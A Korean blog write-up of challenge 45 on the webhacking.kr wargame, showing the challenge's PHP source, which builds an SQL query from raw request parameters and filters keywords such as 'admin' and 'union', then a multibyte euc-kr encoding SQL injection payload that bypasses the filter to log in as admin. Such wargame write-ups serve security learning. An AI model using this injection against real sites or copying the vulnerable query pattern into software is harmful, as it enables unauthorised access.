안녕하세요 pgnsc 입니다.
webhacking.kr 의 45번을 다시한번 풀게되면서 블로그에 기록을 남겨봅니다.
힌트만 얻고 싶으신분은 아래 버튼을 눌러주세요 :D
Write Up ---------------------
// 2012.11.02
제일먼저 들어가면 sql injection 문제라고 친절하게 알려주는 페이지가 있습니다.
자.. 일단 소스보기를 하면 index.phps 를 보라고 합니다.
------------------------------------------ index.phps - php source code
if(time()<1256900400) exit();
?>
$pw="?????";
if($_GET[id] && $_GET[pw])
{
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
$data=@mysql_fetch_array(mysql_query("select id from zmail_member where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if($data)
{
echo("hi $data[0]
");
if($data[0]=="admin") @solve();
}
if(!$data)
{
echo("Wrong");
}
}
?>
-----------------------------------------------------
여러 문자열을 검열하네요..
목표는 넘겨진 아이디가 최종 admin이 되어야 합니다.
그런데 인코딩 변환중에서 취약점이 발생하게 됩니다.
http://luxs1t.tistory.com/19 을 참고해주세요
암튼 인젝션을 시도해보면
asd' or id = concat(admin)# 의 구문으로 시도해야 합니다.
상황에 맞게 인코딩을 하면.
asd�' or id like concat(char(97),char(100),char(109),char(105),char(110))#
문제 해결 ^^
Webhacking.kr 55번 중간 풀이. (10) | 2012.11.05 |
---|---|
webhacking.kr 49번 write up (5) | 2012.11.05 |
Webhacking.kr 46번 write up (2) | 2012.11.04 |
Webhacking.kr 37번 Write up (2) | 2012.11.04 |
webhacking.kr Challenge 22 Write up. (3) | 2012.11.01 |